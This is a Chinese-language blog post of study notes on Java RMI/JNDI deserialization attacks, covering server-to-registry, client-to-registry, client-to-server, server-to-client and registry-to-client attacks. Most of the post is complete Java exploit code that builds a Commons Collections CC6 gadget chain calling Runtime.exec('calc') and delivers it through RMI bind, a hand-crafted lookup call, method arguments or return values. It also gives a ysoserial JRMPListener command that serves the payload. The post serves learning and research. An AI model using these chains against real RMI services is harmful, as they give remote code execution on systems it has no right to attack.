jndi-互相攻击

jndi-互相攻击

基础知识

开始前有必要回忆一下server,register,client的知识点

client是如何反序列化加载register的远程对象的:

  • client暴露了lookup方法,参数可控

  • server提供了恶意类的地址,并向register注册自己远程(恶意)类的服务

  • register为server提供注册功能,同时接受并处理client加载远程类的请求

具体来说:

Client 和 Regisry 基于 Stub 和 Skeleton 进行通信,分别对应 RegistryImpl_Stub 和 RegistryImpl_Skel 两个类。

image-20230326132459291

但实际编程的时候,我们可能register和server用一个类就可以完成,此外我们还需要另外写一个恶意类,凭这两个可以完成攻击

server攻击register

注意到,server向register注册的时候:

package demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

    public static void main(String[] args) throws Exception{
        Registry registry= LocateRegistry.createRegistry(7777);

        Reference reference = new Reference("test", "test", "http://localhost/python端口");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);

    }
}

类似于ReferenceWrapper wrapper = new ReferenceWrapper(reference);,既然是一个绑定,是否存在一些反序列化存储的过程呢?

查阅资料得知

Server 端在执行 bind 或者 rebind 方法的时候会将对象以序列化的形式传输给 Registry,导致 Registry 反序列化被 RCE。

原来是registry.bind("calc", wrapper);,存在反序列化

测试demo - cc6 反序列化攻击

注册一个Register,让他一直开放1099端口给我们利用

package SAR;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// 一个简单的Registry类,通过while死循环不会退出进程
public class Register {
    public static void main(String[] args) throws RemoteException {
        Registry registry = LocateRegistry.createRegistry(1099);
        System.out.println("server start!!");
        while (true);
    }
}

写个InvocationHandlerImpl,这就是个动态代理

package SAR;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class InvocationHandlerImpl implements InvocationHandler, Serializable {
    protected Map map;

    public InvocationHandlerImpl(Map map) {
        this.map = map;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        return null;
    }
}

写一个server, 里面提供了cc6链子

package SAR;

import com.sun.corba.se.impl.presentation.rmi.InvocationHandlerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        //我的cc6
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> lazyMap =  LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        Map<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"aaa");
        lazyMap.remove("aaa");

        Class c = LazyMap.class;
        Field field =  c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap, chainedTransformer);

        // bind to registry
        Registry registry = LocateRegistry.getRegistry(1099);
        //InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
        InvocationHandlerImpl handler = new InvocationHandlerImpl(map2);
        Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
        registry.bind("pwn", remote);
        // registry.rebind("pwn", remote);
    }
}

先启动register,再启动server

image-20230326141217322

可以看到触发反序列化是在bind处

 registry.bind("pwn", remote);

为什么需要 InvicationHandlerImpl?像以前的话咱直接serialize(map2);unserialize("ser.bin");,这里难道是bind的提供的反序列化和原生的反序列化有差异吗?

实现了 Remote 接口的对象才可以被 Server 绑定,CC6 最后要反序列化的是一个 Map 类型的对象,显然不可以被绑定,所以这里就需要用一层动态代理,用 InvocationHandlerImpl 对象(handler)把 Remote 接口代理就可以获取到实现了 Remote 接口的对象。

image-20230326144937775

Register提供了bind方法,而他本身需要继承Remote

InvocationHandlerImpl handler = new InvocationHandlerImpl(map2);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);

这份代码和我们平时使用动态代理还是有所不同的,它传入的是handler和并且在里面new了一个remote的class,最终可以产生给map添加一个remote的接口的作用,很神奇,以后有机会要研究一下

代理对象内部有 InvocationHandlerImpl 对象的引用,而后者内部也有一个 map2 的引用,三者都实现了 Serializable 接口,由于反序列化具有传递性,当代理对象被反序列化的时候,最后也会导致 map2 被反序列化。

备注:这里的 InvocationHandlerImpl 可以用现有的 AnnotationInvocationHandler 代替。

上面这句话还得慢慢品

Client攻击Register

Client之所以能攻击register,仍然是因为register在接受Client请求的时候可以提供反序列化的功能

可以看到register的一些常用方法(从bind方法ctrl+点击进去)

image-20230326145106502

测试demo - cc6 反序列化攻击

Client

package CAR;

import SAR.InvocationHandlerImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class Client {
    public static void main(String[] args) throws Exception {

        //我的cc6
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> lazyMap =  LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        Map<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"aaa");
        lazyMap.remove("aaa");
        Class c = LazyMap.class;
        Field field =  c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap, chainedTransformer);

        Registry registry = LocateRegistry.getRegistry(1099);
        InvocationHandlerImpl handler = new InvocationHandlerImpl(map2);
        Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);

        Field field1 = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
        field1.setAccessible(true);
        UnicastRef ref = (UnicastRef) field1.get(registry);

        Field field2 = registry.getClass().getDeclaredField("operations");
        field2.setAccessible(true);
        Operation[] operations = (Operation[]) field2.get(registry);

        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(remote);
        ref.invoke(var2);
    }
}

register

参考上文Server攻击register

InvocationHandlerImpl (动态代理)

参考上文Server攻击register

image-20230326152243531

简单分析

被攻击的register仍然还是这样:开启可注册端口

Registry registry = LocateRegistry.createRegistry(1099);

开放后,client可以访问它,Client之所以能攻击register,仍然是因为register在接受Client请求的时候可以提供反序列化的功能

image-20230326153108141

但是我们的客户端需要自己实现一个lookup方法去攻击它

我这里不知道为啥一直是只读模式,没办法看到lookup的源码,参考网上的lookup源码

image-20230326153223365

手动整一个

        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(remote);
        ref.invoke(var2);

image-20230326153312999

然后上面还得实现ref啥的

        Field field1 = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
        field1.setAccessible(true);
        UnicastRef ref = (UnicastRef) field1.get(registry);

        Field field2 = registry.getClass().getDeclaredField("operations");
        field2.setAccessible(true);
        Operation[] operations = (Operation[]) field2.get(registry);

Client攻击Server

源码分析

Client调用looup其实是调用了那里的invoke,对应RemoteObjectInvocationHandler#invoke

image-20230326154712595

上面的if都进不去,直接来到RemoteObjectInvocationHandler#invokeRemoteMethod

image-20230326154842841

这里的 ref 是 UnicastRef 对象,来到 UnicastRef#invoke,(这里进去的话建议通过调试的方法进入 )这里代码比较长,重点地方已经标注:

image-20230326155236744

和服务器建立连接

image-20230326155310761

序列化传输数据

image-20230326155445160

反序列化传输过来的数据

而这个远程对象在执行方法的时候,方法参数类型和参数都是以序列化形式传输到 Server(var2 就是方法,var3 就是参数):

image-20230326155834811

最后进入到marshalValue

image-20230326155632542

Server 端处理 Client 请求的方法在 UnicastServerRef#dispatch,对参数进行反序列化之后通过反射进行调用(var8 就是 Method,var10 是经过反序列化之后的参数,var1 是绑定的 Remote 对象):

image-20230326155909947

image-20230326155938108

测试demo - cc6 反序列化攻击

Client

package CAS;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class Client {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers;
        transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> lazyMap =  LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        Map<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"aaa");
        lazyMap.remove("aaa");

        Class c = LazyMap.class;
        Field field =  c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap, chainedTransformer);

        Registry registry = LocateRegistry.getRegistry(1099);
        TestInterface remoteObj = (TestInterface) registry.lookup("test");
        // 获取到的远程对象实际上是一个代理对象,请求会被派发到RemoteObjectInvocationHandler#invoke方法里面去
        remoteObj.testMethod(map2);
    }
}

server

package CAS;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        TestInterfaceImpl testInterface = new TestInterfaceImpl();
        registry.rebind("test", testInterface);
    }
}

动态代理

package CAS;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface {
    protected TestInterfaceImpl() throws RemoteException {
        super();
    }

    @Override
    public void testMethod(Object obj) throws RemoteException {
        System.out.println("...");
    }
}

新建一个代理类,这个待会在最后的exp部分会调用到

package CAS;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface TestInterface extends Remote {
    void testMethod(Object obj) throws RemoteException;
}

image-20230326162801958

条件

根据我的观察,这必须得

Server攻击Client

简单分析

Server 端方法的执行结果也是以序列化的形式传输到 Client 的,还是在 UnicastServerRef#dispatch 方法中:

image-20230326163903415

而在 Client 端同样会对方法的执行结果进行反序列化处理,UnicastRef#invoke:(看看上文Client攻击Server那里)

所以服务端如果可以控制返回的数据为恶意序列化数据,那么客户端就会被 RCE。

测试demo

Client

package SAC;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        TestInterface remote = (TestInterface) registry.lookup("test");
        System.out.println(remote.testMethod());
    }
}

Server

package SAC;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        Test2InterfaceImpl testInterface = new Test2InterfaceImpl();
        registry.bind("test", testInterface);
    }
}

Test2InterfaceImpl

package SAC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class Test2InterfaceImpl extends UnicastRemoteObject implements TestInterface {
    public Test2InterfaceImpl() throws RemoteException {
        super();
    }

    @Override
    public Object testMethod() throws RemoteException {
        try {
            //我的cc6
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
                    new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);

            HashMap<Object,Object> map = new HashMap<>();
            map.put("value", "aaa");
            Map<Object,Object> lazyMap =  LazyMap.decorate(map,new ConstantTransformer(1));

            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

            Map<Object,Object> map2 = new HashMap<>();
            map2.put(tiedMapEntry,"aaa");
            lazyMap.remove("aaa");

            Class c = LazyMap.class;
            Field field =  c.getDeclaredField("factory");
            field.setAccessible(true);
            field.set(lazyMap, chainedTransformer);

            return map2;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}

TestInterface

package SAC;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface TestInterface extends Remote {
    Object testMethod() throws RemoteException;
}

理论上应该可以成功,但是我这里报错了

image-20230326200548350

网上的说法大致是host的问题

Register攻击Server&Client

更准确的表达是:JRMP 服务端攻击 JRMP 客户端。

使用 ysoserial 开启一个 JRMP 监听服务(这里指的是 exploit/JRMPListener):

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'calc'

只要服务端或者客户端获取到 Registry,并且执行了以下方法之一,自身就会被 RCE:

list / unbind / lookup / rebind / bind

Reference

主要参考【技术干货】RMI-攻击方式总结 - 知乎 (zhihu.com)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇